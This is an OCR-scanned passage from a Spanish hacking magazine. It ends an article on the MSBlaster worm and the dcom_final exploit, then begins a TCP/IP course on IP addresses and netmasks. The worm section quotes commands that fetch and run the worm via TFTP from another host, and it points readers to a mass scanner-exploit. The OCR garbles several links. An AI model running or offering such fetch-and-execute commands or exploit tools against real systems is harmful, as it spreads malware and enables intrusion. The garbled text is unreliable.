desconexion de la shell del netcat, NO el “virus” en si.

6- Esquivando MBlaster / dcom final,
iiIMANUALMENTE!!

En este punto aprenderemos a esquivar a MBlaster o al
Exploit dcom_final con una simple linea con netcat...

¢Como se hace esto...? Muy simple, la verdad es que no
tiene mucha ciencia, pero es muy interesante, ya veras
porqué...

Si te acuerdas, cuando te explique el exploit Dcom_final,
te dije que teniamos que lanzar un netcat al host victima
por el puerto 4444, ya que este es siempre el puerto
que usa el dcom_final.

Con esto quiero que llegues a la conclusién de que si
sabemos por qué puerto consigue la shell de system32...
¢Qué pasaria, si dejaras un netcat a la escucha por ese
puerto (4444), en nuestra maquina, ahora la maquina
victima?...

Para dejar el netcat a la escucha solo tienes que poner
estos parametros:

nc -vv -L —-p 4444 (y te quedara algo como esto)

B3 D:\WINDOWS\System32\cmd.exe - nc -vv -1 -p 4444 o |=| ﬁ

IG:\>cd nc

IG:\NC>nc —vv —-L -p 4444
ll\istening on [anyl 4444 ...
C

IG:\NC>nc —vuv —1 —p 4444
listening on [any] 4444 ...

Ahora que tenemos el nectcat a la escucha, imaginate que
nuestro sistema es vulnerable y que va ser atacado por
MBlaster...

PC PASO A PASO N° 24



Los Bugs y los Exploits - Los Bugs y los Exploits - Los Bugs y los Exploits

» Para poder...

Para poder realizar las practicas en varios PCs solo tienes
que determinar cual es la maquina victima y cual la maquina
atacante, después solo tienes que:
P poner en la maquina victima un netcat a la escucha
en el puerto 4444 (mas arriba tienes los parametros
para dejar netcat a la escucha)
P en la maquina atacante tienes que lanzar el exploit
contra la maquina victima como te hemos explicado en
el punto 3 de las practicas: “Aprendiendo a utilizar el
dcom _final”.

En el caso de tener solo un PC, tendras que dejar un netcat
a la escucha como ya te hemos explicado, y lanzar el exploit
contra tu mismo PC, lo resultados serdn los mismos.

Esto es lo que apareceria en la shell donde tenemos el
netcat a la escucha (host Victima)

G:N\NCone —wu —1 —p 4444

listening on L[anyl 4444 _ ..

connect to [192.168.8.11 from HACK [192.168.8.21 1857
tftp.exe —i 192.168.0.2 GET MBlaster.exe

istart MBlaster.exe

Voy a comentar algo sobre esto. Si te fijas en la shell de
la maquina victima, aparecen parametros ya explicados
en el punto 4 de las practicas: “é¢COmo se copia el
Blaster desde un PC a otro PC? ¢Como es posible...”.
Y, a parte, aparece algo de informacién sobre el host
atacante.

Esto quiere decir que todo lo que escriba el host
atacante sera visualizado por nosotros gracias a netcat
(y por supuesto no sera ejecutado en nuestra maquina).

Tu propio dominio por sélo 18,95 € por un afo’,
con todo incluido:

+ IVA incluido

-com - Panel de control
Jaet + Redireccién a tu pagina WEB con META-TAGS
.org * Redireccién de email
.info * Gestion completa de DNS:
biz apunta a la IP de tu conexion

- Bloqueo antirrobo

* Sin letra pequefa: 18.95 IVA Incl (16.34 + IVA 16%). Precio para
un ano de registro extensiones .com, .net, .org, .info, .biz .
Precios menores contratando varios ainos.

domiteca
www.domiteca.com

Precios especiales para distribuidores; constltanos.
DOMITECA® es un servicio ofrecido por HOSTALIA INTERNET S.L.
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Pero esto aun tiene algo mas de gracia, porque si te fijas
aparecen dos IPs, una es la IP del atacante, en mi caso,
[192.168.0.2], y otra es la IP del Servidor TFTP que aloja
la copia del virus Blaster (msblast.exe). En nuestro caso
las dos IPs son iguales, pero esto no tiene porque ser asi...
el archivo msblast.exe podria estar ubicado en un PC
controlado por el propio programador del virus (por ejemplo).

Pero aun no se acaba aqui la gracia, porque si te fijas, Tu
también puedes escribir en la shell donde hemos dejado
netcat a la escucha. Lo que escribas sera también visualizado
por el atacante (maquina que lanza el exploit)... ¢Te imaginas
la cara del atacante cuando vea algo como esto, en la shell
de netcat que ha lanzado contra nuestro PC?

NDDWS', System32'cmd.exe - nc 192.168.0.1 4444

M oft Windows RP [Uersicn 5. 1
{C) Copyright 1985-2801 Microsoft Corp.

IC:x\Documents and Settings\NeITinGXcd C:\WINHP (E>\Mc

C:\WINKP <E>\Nc>nc 192.168.0.1 4444
i 192.168.8.2 GET MBlaster.exe

tftp.exe —i
istart MRlaster.exe

Hola HACK

KEs tuya esta I[P 192.168.08.27

<Y la IP de este servidor. 192.168.8.27

Se quedara mas que flipado, pensara que somos nosotros
quienes lo habemos hackeado.

Y lo mejor de todo es que podras hablar con tu atacante
;p, todo esto con solo una linea con netcat...

7.- Esquivando al Blaster o al dcom final...
Parcheando el PC.

Las actualizaciones publicadas por Microsoft para evitar
este problema pueden descargarse desde:
Windows NT 4.0 Server
Hp:hiiaosotcomibbwnloadyGailsaa? Famibld=2CC66FAR21 7E4RA7-BDBE-DF77A0B9303F &dliployiong=en
Windows NT 4.0 Terminal Server Edition

iy hiiaoscombbwnloadyailsaspa? Famibld=6COFI 606 HEA-ACA3CI-CIRAD2DCES CASdiplenorg=en
Windows 2000
Ip/hicosoficombmrboadealsas?Fonibld=CSBSASISF5A14CI5-SCOF-2203544491 1 7 chpleviong=en
Windows XP 32 bit Edition
htp:/icosoffcombbwnloadsGtalsaya? Fanib d=2354406C-CSB644AC9532-3DFAOF6IC) Hkelspley lovg=en
Windows XP 64 bit Edition

I /hricasoftcombnrboadyaalsaspFamib =1 BOOFSDF-4ASS48SF-S0E3-C347ADCCADF I ckployleng=en
Windows Server 2003 32 bit Edition
htp:/icosoffcombbwnloadstalsaya? Fanib ld=FSEOFF3A-9FIC061- 9009342 1 245SER2E&dspley g =en
Windows Server 2003 64 bit Edition

I /hicasoftcombmrboadsclsasXFanibd=2B566973-CIFUBCI995F-01 TF35692BC7dkplylong=en

8.- Para los mas juguetones:

Si queréis mas sobre este tema, buscar sobre el exploit
“ocl192-dcom.exe” (este exploit tiene la facultad de que
no provoca D.0O.S a la maquina victima).

Pagina 14

Y si sois de los perezosos, buscar el scanner-exploit “kaht2”
(este escaneara rangos de IPs buscando IPs vulnerables)
y, si las encuentra, mandara automaticamente el exploit
para conseguir la shell de system)...

iiiéAlguiendamas?!1!

9.- Recomendaciones:

Antes de ponerte a “jugar” con los exploits, te aconsejo,

mejor dicho, "te obligo” ¥ a que practiques antes con tu
ordenador.

En la gran red, Internet, encontraras multitud de diablillos
como los aqui explicados, pero el funcionamiento siempre
es casi el mismo...

Te recomiendo también que te pases por paginas como
hispasec, donde te informan muy rapidamente de las
ultimas novedades sobre la seguridad informatica.

Y si no entiendes algo sobre algln tema, pasate por los
foros de hackxcrack (www.hackxcrack.com), te quedaras

sorprendido de la gran cantidad de informacién, mas que
interesante, que alli se recopila, a parte de las grandes
respuestas que responderan a tus preguntas o cuestiones.

Asi que no lo dudes, si aun no eres miembro de los foros
de hackxcrack, no esperes un minuto mas para registrarte...

10.- Agradecimientos:

Me gustaria agradecer y dedicar este texto a todos los
miembros de los foros de hackxcrack, donde he aprendido
un sin fin de cosas, y no todas relacionadas con la
informatica en si.

Pero en especial, dedico este texto a mis amigos y a mi
hermano por “aguatar” siempre el “tema” por el que
disfruto y vivo, LA INFORMATICA Y TODO LO RELACIONADO
CON ELLA.

ATENTAMENTE NeTTinG.

PC PASO A PASO N° 24



Este mes vamos a descubrir qué es realmente una IP. qué es una Direccion de Red. qué son

y como funcionan las Mascaras de Red. como un paquete es encaminado en una red. como

se reparten el pastel de los rangos de IPs los ISPs y muchas cosas mas.

INTRODUCCION

Este mes empezamos con uno de los
puntos mas interesantes: la capa de
red, es decir, la capa IP, que es una de
las que dan su nombre a toda la pila de
protocolos que componen el llamado
TCP/IP.

Mucho hay que decir sobre esta capa,
quiza la mas importante, por lo que de
momento esta primera entrega la
dedicaré Unicamente a presentar algunos
de los conceptos relacionados con ella,
concretamente todo lo referente a las
direcciones IP.

Mucho se ha mencionado a estos
“numerajos” en la revista, pero pocas
veces se ha entrado en detalle sobre lo
gue realmente son y cémo funcionan.

A lo largo de este articulo veremos en
detalle en qué consiste una direccién
de red, como funcionan las mascaras,
el encaminamiento en una red
TCP/IP como Internet, las clases de
redes, las direcciones reservadas, las
redes locales, las direcciones
broadcast, e introduciremos otros
protocolos relacionados, como son el
DHCP o el ARP.

Dejo ya para otro articulo la explicacion
de la cabecera IP, asi como el
funcionamiento detallado del protocolo.
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Si todo sigue el rumbo que espero, una
vez que termine la parte “basica” del
curso de TCP/IP lo completaré con un
articulo dedicado al protocolo IPv6. Este
es una nueva version del protocolo IP,
aun no extendida mundialmente, que es
el futuro para una Internet que esta
llegando actualmente al limite de sus
posibilidades técnicas.

Una vez mas tengo que insistir en que
mi forma de explicar las cosas no es la
“clasica”, ya que pienso que es absurdo
repetir una vez mas aquello que esta
explicado de la misma forma en mil sitios
diferentes. Por tanto, aprovechando que
esta revista se llama PC PASO A PASO,
mi forma de explicar las cosas serd muy
lenta, pero segura, no mostrando las
cosas sin mas, si no llegando a ellas desde
el fondo de los conceptos basicos.

Asi, ruego un poco de paciencia a aquellos
que digan “épero codmo puede estar
explicando lo que es una mascara de red
en 20 paginas, si en cualquier sitio esta
explicado en soélo una pagina?”,

Mi intencion es que este curso no sea un
curso mas de TCP/IP, si no un curso
diferente, una alternativa para aquellos
que estan cansados de encontrar una y
otra vez la misma forma de contar las
cosas (muchas veces imposible de
entender por lo criptico del lenguaje
utilizado)... y una y otra vez muchas
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personas dejan de estudiar estos temas
porque no llegan a entender lo que leen...
vamos a ver si conseguimos arrojar un
poco de luz!!!

1. LA FUNCION DE LAS

DIRECCIONES IP

El concepto fundamental de lo que es
una direccion IP ya lo he repetido en
varias ocasiones, pero es tan importante
que ha de ser repetido una y otra vez,
sobre todo para aquellos nuevos lectores
que se incorporan ahora al curso de
TCP/IP (aunque a estos nuevos lectores
les advierto que van a tener muy
complicado poder seguir el curso a partir
de este punto sin haberlo pillado desde
el principio).

Este curso es de los mas veteranos de la revista PC PASO
A PASO. Se empez6 con la serie de articulos RAW (donde
se trataron en profundidad los protocolos mas importantes)
y se sigui6 con las serie TCP/IP (donde "asaltamos el
corazén" de las comunicaciones por red).

Aunque intentamos que cada articulo sea comprensible "en
si mismo", llega un momento en que es muy dificil asumir
el contenido de los mismos sin haber estudiado las anteriores
entregas de la serie. Te recomendamos que pidas las revistas
anteriores a un amigo o las encargues en
www.hackxcrack.com.

Pagina 16

La funcion de una direccion IP es la
misma que la de un nimero de teléfono,
o la de una direccion postal: identificar
univocamente a uno de los
participantes en una red de
comunicacion.

En cualquier entorno en el que haya mas
de dos elementos, y se desee establecer

una comunicacion entre sélo dos de ellos,
sera imprescindible asignar a cada uno
una direccion Gnica que permita
identificarles univocamente.

Asi, la red telefénica tiene millones de
abonados, pero cada uno de ellos tiene
un numero de teléfono siempre
diferente a los demas.

Lo mismo ocurre con la red de correo
postal, en la que cada persona tiene una
direccion anica.

En la red postal, la combinacion de la
direccion de destino de la carta o paquete
(lugar donde debe llegar el paquete), y
el remite del mismo (lugar de donde se
envia el paquete), definen claramente los
dos elementos de la comunicacién. Lo
mismo ocurre en la red telefénica, con la
combinacion de los dos numeros de
teléfono (al que llamas, y desde el que
[lamas).

Internet es una red formada por millones
de ordenadores de todo el mundo pero,
a diferencia de lo que puede parecer, las
comunicaciones son siempre entre solo
dos ordenadores.

Cuando entramos en un chat en el que
hay 30 usuarios (o 50, o0 200), en realidad
todo funciona gracias a varios pares de
conexiones entre los diferentes usuarios
y un servidor central. Lo mismo ocurre
cuando estamos jugando a un juego ON
LINE en el que haya varios jugadores
simultdneamente, o en cualquier otro
entorno en el que parezca que hay muchos
ordenadores conectados entre si al mismo
tiempo. Asi que repito: en Internet (y,
en general, en cualquier red TCP/IP)
jamas se conectan directamente
entre si mas de dos maquinas.
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En la imagen vemos el ejemplo de un
chat entre 4 personas, el cual funciona
gracias a pares de conexiones entre cada
usuario y el servidor central. Observamos
también una quinta conexion, entre dos
usuarios, que podria ser la transferencia
de un archivo (por ejemplo, un DCC en
una red de IRC).

Por tanto, es fundamental que cada uno
de los usuarios del chat conozca la
direccion IP del servidor de chat. Una
vez que ellos se conecten al servidor de
chat, éste conocera también la direccidon
de ellos, igual que cuando recibimos una
llamada de teléfono podemos ver el
numero desde el cual nos estan llamando.

Si bien en el teléfono no es imprescindible
conocer el nimero del que nos llama, en
el caso de TCP/IP no seria posible la
comunicacion si las dos partes no conocen
perfectamente la direccion IP de su
interlocutor.

Para el caso de la transferencia del archivo
que vemos en la imagen, seria necesario
que uno de los dos usuarios conociese
la direccion IP del otro para poder
conectarse a él. Para esto, lo que hace
es pedir esta direccion IP a través del
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servidor de chat, que es el Unico que
conoce las direcciones IP de todos los
usuarios del chat.

¢Como sabe el servidor cual es la IP del
usuario que se acaba de conectar? Pues
sencillamente mirando la cabecera IP
del paquete de inicio de conexién del
usuario, ya que en todas las cabeceras IP
estan siempre especificadas las direcciones
IP de origen y destino del paquete, tal y
como veremos en el proximo articulo, en
el que detallaremos el formato de la
cabecera IP.

Los que no hayais seguido todos mis
articulos probablemente os estaréis
preguntando ahora por qué he dicho que
los usuarios del chat tienen que conocer
la direccion IP del servidor para poder
conectarse, ya que probablemente muchos
de vosotros habréis entrado en una red
de IRC (o cualquier otro Chat) y jamas
habéis tenido que aprenderos ningun
ndmero raro para poder conectar. Gracias
a Dios (o mas bien al IETF %), los seres
humanos no tenemos que tratar
(normalmente) con todos esos numerajos
dificiles de recordar, si no que podemos
utilizar unos nombres equivalentes mucho
mas intuitivos, como:

www.google.com, irc.efnet.nl, etc., etc.

Esto se consigue gracias a un sistema
llamado DNS que permite asociar un
nombre “mas humano” a cada direccion
IP. De esta forma, cada vez que queremos
acceder a una maquina nos basta con
conocer su nombre, y no los nimeros
gue forman su direccion IP.

Cuando solicitamos una conexién con una
maquina a partir de su nombre, nuestro
ordenador (sin que nosotros nos
enteremos), primero tendra que traducir
el nombre de la maquina para obtener la
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direccion IP asociada, lo cual hara
mediante una serie de consultas a unos
servidores especiales que “conocen” las
direcciones IP asociadas a cada nombre.

Una vez que ya tiene la direccion IP, se
conectara a esa maquina sin que nosotros
nos hayamos enterado del proceso. Desde
nuestro punto de vista parece como si
directamente pudiésemos conectarnos
conociendo sélo el nombre, y no los
numerajos.

Todo el sistema DNS lo expliqué con todo
detalle en la serie RAW de esta revista,
hace ya varios meses, por lo que espero
que el articulo esté liberado para que lo
podais bajar y comprender cémo funciona
realmente todo esto.

Ahora posiblemente os estaréis haciendo
otra pregunta: éde dénde salen las
direcciones IP?

Esta claro de donde salen los nimeros
de teléfono: es Telefdnica la que asigna
un numero diferente a cada abonado.
También esta claro de donde salen las
direcciones postales: Correos asigna un
codigo postal a cada zona y el resto de
la direccion postal depende de la calle y
piso y puerta en el que viva cada usuario
(el nombre de la calle lo pone el
ayuntamiento y el piso y la puerta el
constructor de la vivienda).

En el caso de las direcciones IP, también
tiene que haber algun organismo
regulador que evite que dos maquinas
tengan la misma direccion IP en una
misma red. Este organismo es InterNIC,
gue se encarga de asignar unos rangos
de direcciones IP a cada organizacién.
InterNIC delega en cada organizacion
para que asignen cada IP especifica a
cada maquina dentro de ese rango.

Ponemos un caso real y lo entenderemos
rapidamente:

CASO REAL TELEFONICA:

P Un buen dia, Telefénica decide ofrecer
a sus usuarios conexion a Internet y
para ello necesita “un montén” de
direcciones IP. Pues eso, llama a
InterNIC y le dice que le pase “un
monton” de IPs.

P InterNIC, una vez estudiada la
peticion, le asigna a Telefdnica un
generoso rango de direcciones.
P Telefénica YA TIENE IPs!!! Ahora
pone a sus genios de publicidad a
trabajar y nos machaca con sus
anuncios en todos los medios de
comunicacién... contrata tu acceso a
Internet con Telefénica y bla, bla, bla.
Por cierto, uno de sus anuncios era
muy interesante... érecuerdas el del
mono?... en ese nos insultaba a todos
los usuarios de Internet espafoles
comparandonos con un mono... (“a
tragar y a callar”)

P Cuando Tu (o Yo) llamamos a
telefénica y contratamos el acceso a
Internet, NO ES INTERNIC quien te
asignarad una IP, serd TELEFONICA
quien te asigne la IP. Por supuesto,
TELEFONICA te dard una de las IPs
que previamente INTERNIC le ha
asignado a ella.

Teleféonica puede hacer con sus IPs LO
QUE QUIERA!!! Desde dartela a ti (su
nuevo cliente) hasta ceder (alquilar) a
terceras compainiias parte del rango que
previamente le confié INTERNIC.
Esta libertad para que el ISP “de turno”
haga lo que quiera con su rango de IPs
es lo que da lugar a la existencia de
direcciones IP dinamicas. Nuestro ISP
(proveedor de servicios de Internet, como
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Telefénica en este ejemplo) podra decidir
asignarte una u otra IP en cada momento
segun los usuarios que haya conectados,
sin tener que dar “explicaciones” a
InterNIC o ningun otro organismo.
Mientras Telefdénica se encargue de que
nunca haya dos direcciones IP iguales, y
de que nunca utilice una direccion IP que
no esté dentro de su rango asignado,
podra cambiar a su gusto las direcciones

CURSO DE TCP/IP - LA CAPA IP - LAS DIRECCIONES IP - CURSO DE TCP/IP - LA CAPA IP

Estos puntos lo que hacen en realidad es
separar las cifras del niumero. ¢Cifras?
iPero si la primera cifra es 192! Yo pensé
gue una cifra iba sélo desde 0 hasta 9...

Pues esto es asi en la base que estamos
acostumbrados a utilizar: la base 10, o
base decimal. En base decimal tenemos
las cifras 0, 1, 2, 3,4, 5,6, 7,8,009.
Pero pueden existir muchas bases
diferentes, por ejemplo:

IP de cada usuario segun le convenga.

P la base 2, o base binaria

. unicamente hay 2 cifras): las cifras
9 Desgraciadamente... (tnic: v )
son solo 0, o 1.

P la base 16, o base hexadecimal
(hay 16 cifras): hay mas cifras que
en la base 10, siendo éstas 0, 1, 2, 3,
4,5,6,7,8 9,A,B,C,D,E, yF

Desgraciadamente, cuando decimos que el ISP puede hacer
"lo que quiera" con sus IPs, incluimos desagradables
sorpresas:
P Hay ISPs que unicamente te ofrecen IPs Dinamicas.
Esto provoca que no puedas tener ciertos servicios en

tu PC (por ejemplo un servidor FTP) sin utilizar algin # Fijate que como
tipo de re-direccionamiento automatico por nombre (en

anteriores nimeros de la revista ya explicamos como . .
yaexp Fijate que como se nos han acabado las cifras de la base

hi lle). . . -
acer esto con todo detalle) decimal, para llegar a 16 cifras se utilizan letras. Los que

b ini i . . .
L8y LISIER) QUG EroisEuerein 615 el uin LA o se "inventaron" el sistema hexadecimal podrian haber

ides expresamente, pero sorpresa!!! Te cobraran entre - ] ; ] ]
p p -P P utilizado cualquier otro simbolo para sus cifras, por ejemplo

6 y 24 euros al mes por tan "preciada" posesion.

2. LAS DIRECCIONES IP TAL
Y COMO SON

Hasta ahora he estado hablando de unos
“numerajos” asumiendo que todos habéis
visto alguna vez una direccién IP, y espero
que asi sea. Para los nuevos (nuevisimos)
de la clase os muestro aqui el aspecto
de una direccién IP tal y como las solemos
conocer:

192.168.2.15

Como vemos, es un numero compuesto
de 4 numeros separados por puntos.
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letras griegas o "dibujitos" egipcios.

Como vemos, la base 10 tiene 10 cifras
diferentes, la base 2 tiene 2 cifras
diferentes, y la base 16 tiene 16 cifras
diferentes. Por tanto, la base 256
tendra... 256 cifras diferentes. Cada una
de estas cifras estaria comprendida entre
Oy 255(1, 2, 3,4..58,59..102, 103...
198, 199... 253, 254 y 255).

Una direcciéon IP no es mas que un
numero de 4 cifras en base 256. Por
tanto, la primera cifra del nimero del
ejemplo sera 192, la segunda 168, la
tercera 2, y la ultima sera 15 ------ >
192.168.2.15
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&Y por qué se utiliza esta base tan
rara cuando estamos acostumbrados
a utilizar la base decimal de toda la
vida? Pues porque, aunque las
personas estemos acostumbrados a
la base decimal, ésta no es muy
apropiada para las maquinas, que son
las que realmente tienen que lidiar con
las direcciones IP. Concretamente, a
las maquinas sélo les gusta la base 2
(binaria), y sus derivadas.

Una base muy intimamente ligada a la
base 2 es la base 256, que es la que
da lugar a la existencia de los famosos
bytes, u octetos. Por tanto, cada una de
las cifras de una direccion IP corresponde
a un byte, por lo que cada direccién IP
tiene un tamano de 4 bytes. Un byte
es, en cierto modo, el tamafio elemental
de informacién que puede manejar una
magquina (esto no es del todo asi, pero
es para que nos entendamos). Si no te

ha quedado claro sigue leyendo

Como he dicho, las maquinas sdlo
entienden el lenguaje binario, pero esa
IP que os he mostrado (192.168.2.15)
esta en realidad representada de forma
que sea facilmente comprensible para un
humano (con cada cifra expresada en el
cladsico formato decimal). éCual es
entonces el auténtico aspecto de una
direccion IP? Pues es, por supuesto,
una fantastica ristra de ceros y unos, de
esas que aparecen en las “pelis de

hackers”. =

Veamos por ejemplo el auténtico aspecto
de la direccién del ejemplo:

11000000 . 10101000 . 00000010 . 00001111

Como vemos, cada cifra en base 256
esta formada de 8 cifras binarias (cero
o0 uno), por lo que una direccion IP
consta de un total de 32 cifras
binarias (bits).

Para lo que voy a explicar a continuacion
es imprescindible que conozcais la forma
de convertir una IP en su formato clasico
(192.168.2.15) a su formato “real”, con
todas las cifras binarias. Asi que ruego
un poco de paciencia a los que estais ya
un poco hartos de mi insistencia con el
tema de la aritmética binaria, porque voy
a explicar de nuevo cémo convertir
numeros de decimal a binario, aunque en
esta ocasién no voy a explicar el método
“matematico”, si no el sistema que utilizo
yo para poder hacerlo de cabeza, sin

necesidad de lapiz y papel ©

La gran ventaja de esta forma de cambiar
de base decimal a binaria es que no es
necesario realizar ninguna division, ni
ninguno de los engorros que expliqué en
aquel otro articulo.

En cambio, la “desventaja” es que es
necesario estar bastante familiarizado con
la aritmética binaria, hasta el punto de
que hay que conocer de memoria todas
las potencias de 2, con exponentes de 0
a 8.

Quiza esto os suene a una especie de
locura propia de un friki que soélo sale de
Su casa para comprar mas memoria RAM
0 mas cafeina, pero en realidad aprenderse
estos niumeros es mucho mas facil de lo
gue parece, ya que estos nimeros nos
rodean a diario sin que nos demos cuenta.
Las 9 primeras potencias de 2 son estas:

20 =
21=
22=
23 =
24=16
25 =32
2% - 64
27 = 128
2° = 256
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¢A gue os suenan todos esos nimeros?
Los veréis cada vez que veais cualquier
cosa relacionada con la informatica (la
velocidad del ADSL, la capacidad de las
tarjetas de memoria, etc, etc).

Lo que yo hago para convertir un byte
en su formato decimal al formato binario
es: (mientras lees los pasos fijate en la
imagen)

PUNTO 1.- En primer lugar, miramos
entre qué dos potencias de 2 esta
comprendido. Por ejemplo, para el
caso del numero 192, esta
comprendido entre 128 y 256. Por
tanto, la cifra binaria correspondiente
a 128 (27) tiene que estar a uno.

PUNTO 2.- Para ver qué mas cifras
estan a uno, cojo el 192 y le resto
128, y nos da como resultado 64.

PUNTO 3.- Repetimos el proceso del
punto 1 con este nuevo numero, el
64: miramos entre qué dos potencias
estad comprendido el 64 y vemos que
estad entre 64 y 128. Por tanto la cifra
26, correspondiente al 64, tendra que
estar también a uno.

PUNTO 4.- Igual que en el PUNTO 2:
ahora 64 - 64 = 0, significa que
tenemos ya el nimero exacto, y no
hay que continuar el proceso.

Por tanto, como hemos visto que hay
que “marcar” a uno las cifras 7 y 6,
contando 8 cifras empezando por la
derecha, vy

siendo la 76543210
primera la

citra o, 11000000
f)bFenemos la ag%gw# o=
imagen: -
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Para el caso de 168 hacemos lo mismo:
168 estd entre 128, y 256, por lo que
marcamos la cifra 7; 168 - 128 = 40,
que estad entre 32 y 64, por lo que
marcamos la cifra 5, correspondiente al
32; 40 - 32 = 8 que estd entre 8y 16,
por lo que marcamos la cifra 3,
correspondiente al 8, y tenemos ya el
numero completo, pues 8 - 8 = 0. Nos
queda 10101000

Para el nimero 2: 2 estd entre 2 y 4,
por lo que directamente marcamos la
cifra 1, correspondiente a 21, y2-2=
0, por lo que ya tenemos el nimero, que
sera una ristra de 7 ceros y un solo uno,
en la segunda posicion empezando por
la derecha. Nos queda 00000010

Para el nUmero 15: vemos que esta entre
8y 16, por lo que marcamos la cifra 3;
a continuacion hacemos 15 -8 = 7, que
estd entre 4 y 8, por lo que marcamos la
cifra 2, correspondiente al 4; a
continuacion hacemos 7 - 4 = 3, que
estd entre 2 y 4, por lo que marcamos la
cifra 1; por ultimo, hacemos 3 -2 =1,
que esta entre 1 y 2, por lo que marcamos
la cifra 0, y tenemos ya el nimero
completo, que serd 00001111.

Por lo tanto la IP en binario es:
11000000 . 10101000 . 00000010 . 00001111

3. LAS DIRECCIONES DE RED

En muchos casos la direccion IP por si
sola no es suficiente para todas las
necesidades de una comunicacion TCP/IP.
Para entenderlo haremos el paralelismo
con algo que todos conocemos: un nimero
de teléfono.
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Un numero de teléfono consta de uno o
varios prefijos, seguido del niumero ya
propiamente dicho. La red telefdnica
utiliza estos prefijos para saber como
dirigir el trafico de la red entre las distintas
zonas.

Podriamos también hacer el paralelismo
con el correo postal. El correo postal
consta de un cédigo postal (que podria
ser considerado como un prefijo), y el
resto de la direccion.

Como en los dos casos anteriores,
también las direcciones IP tienen en cierto
modo “prefijos” que permiten diferenciar
diferentes “zonas” entre los diferentes
usuarios de la red.

En el caso del correo postal, la parte de
“prefijo” que permite separar las “zonas”
estd claramente diferenciado del resto
de la direccion (no hay forma de confundir
el cédigo postal con el nombre de la
calle).

En cambio, en el caso del teléfono ya es
otro asunto. Por ejemplo, el prefijo para
Madrid es el 91, mientras que el prefijo
para Murcia es el 968, por lo que a priori
no hay forma de saber hasta dénde llega
el prefijo, ya que unos tienen 2 cifras, y
otros tienen 3.

Hasta hace unos afos, el prefijo no se
marcaba cuando se estaba dentro de una
misma provincia. Por tanto, si te decian:
vivo en Madrid y mi teléfono es el
915758976, no sabias si, estando en
Madrid, tenias que marcar 5758976, o
758976, a no ser que supieses que el
prefijo de Madrid es el 91, por lo que
s6lo habria que prescindir de las dos
primeras cifras.

Actualmente, esto de los prefijos es ya
transparente al usuario del teléfono
(siempre que Illamamos a alguien
marcamos prefijo y nimero, todo junto).
---los “prefijos” de las direcciones IP
también son transparentes para los
usuarios de Internet---

En cambio, las maquinas de la red
telefénica encargadas de conmutar los
circuitos para comunicar a los dos
abonados en una llamada si que necesitan
diferenciar los prefijos, para asi saber por
dénde ir dirigiendo la llamada para crear
un enlace entre los dos puntos. Del mismo
modo, las maquinas encargadas de
direccionar el trafico en una red TCP/IP
(como Internet) necesitan conocer los
“prefijos” de las direcciones IP para
conseguir establecer un camino entre las
dos maquinas que quieren comunicarse.
Estas maquinas encargadas de direccionar
el trafico TCP/IP suelen ser los
denominados gateways o, por usar un
término _mas familiar, los routers.

Por tanto, para conectar mediante TCP/IP
con una maquina, no nos basta con saber
su direccidn IP, si no que también tenemos
gue conocer qué porcion de ésta IP es
prefijo, y cual no. Al igual que en los
numeros de teléfono, los prefijos de las
direcciones IP son de longitud variable,
por lo que es imposible saber a priori qué
parte de la IP es prefijo, y qué parte es
la direccién propiamente dicha de nuestra
maquina. Esto da lugar a la necesidad de
gue una direccion IP tenga que ir
acompanada de otro nimero que indique
simplemente cual es la longitud del prefijo
dentro de esa IP.

En el caso de los numeros de teléfono
podriamos representar esto de la siguiente
forma: 915758976 / 2. La ultima cifra,
detras de la barra / nos indicaria la
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longitud del prefijo. Por tanto, sabemos
gue este numero seria 5758976, y las
dos primeras cifras, el 91, serian el
prefijo.

Esta misma representacion se utiliza con
las direcciones IP, pero contando el
numero de cifras binarias (bits). Por
ejemplo, la IP 192.168.2.15 / 24,
estaria compuesta por un prefijo de 24
bits (24 cifras binarias), y el resto seria
la direccién IP de la maquina, es decir,
ésta constaria de 8 bits (ya que el total
de bits en una direccién IP hemos dicho
que es 32).

Viendo la IP en su formato binario:

11000000 . 10101000 . 00000010 . 00001111

Sabemos ya que las primeras 24 cifras:
11000000 10101000 00000010,
componen el prefijo (llamado direccion
de red, como veremos mas adelante).

Sabemos también que las Ultimas 8:
00001111 componen la direccion de
la maquina (llamada direccion de host)
dentro de la “zona” marcada por el prefijo.

» Todo esto de...

Todo esto de las “zonas™ y los “prefijos” tiene relacion con lo que

expliqué sobre como InterNIC asigna las direcciones IP.

La parte de prefijo serfa aquella que asigna éste organismo a cada
organizacion (Telefonica, gobierno de los Estados Unidos,
Universidad Politécnica de Madrid, Microsoft, ...), y el resto de la
direccion IP seria el rango de direcciones en las que tiene libertad
la organizacion para asignarlas como quiera a sus usuarios.

Por tanto el prefijo determinara la organizacion a la que estd asignada

esa [P, y el resto de la direccion determinara a una maquina concreta
dentro de esa organizacion.
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Hemos visto una forma de representar la
longitud del “prefijo” de la direccion
IP, que consiste en acompafiar a la
direccién de una barra separadora y un
numero que representa el nUmero de bits
que ocupa este prefijo. Esta forma se
suele utilizar bastante, pero también se
utiliza otra representacion, quiza mas
conocida, que veremos ahora mismo.

En cualquier caso, se use la representacion
que se use, a este niUmero que especifica
el tamano del “prefijo” se le llama
mascara de red. Y esto que hasta ahora
hemos estado llamando prefijo es lo que
en realidad se denomina direccion de
red. Fijate en la imagen para que no te
pierdas y a partir de ahora, mientras lees,

192

consulta continuamente la imagen.
IMAGEN EXPLICATIVA:
Tenemos la v la mascara de red 24.

- 192.168.2.15 /24 En mmches fextos se Ie lloma diveccion de red - —-=
--MASCARA DE RED: 24--

/24

168 . 2 o 15

mascara de red

direccion de red direccion del host
(“prefijo”) (direccion de lamaquina)  (imdica la longitud/tamaiio
de la direccion de red)

La direccién de red se obtiene mediante la combinacién de Ia ¥ la mascara de red

** Como una direccion de red se obtiene

combinando la y la mascara de red,
en muchos textos encontrareis que se llama
direccion de red al conjunto de estos dos
numeros: la

(192.168.2.15 /24).

+ la mascara de red

Lo que hasta ahora hemos estado
lamando “zona” es lo que en realidad
deberiamos llamar red. Cada red tiene
una direccion de red al igual que cada
calle de tu ciudad tiene un nombre.

Por tanto, Internet esta dividida en varias
redes (zonas), cada una de las cuales
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Direccion IP

tiene asociada una direccion de red (un
prefijo), cuya longitud viene determinada
por la mascara de red.

Antes dijimos que habia otra forma (quiza
mas conocida) de representar la mascara
de red. Vamos a ver ahora cual es “esa
otra forma” y, para el que piense que
con aprenderse una es suficiente, ya
puede ir cambiando de opinidn... las dos
son ampliamente utilizadas en libros
técnicos, textos, etc.

Lo que en realidad nos esta diciendo la
mascara de red es qué bits de nuestra
direccién IP pertenecen a la red (o
“zona”), y qué bits pertenecen a la
maquina concreta dentro de esa red.
Por tanto, la direcciéon de red
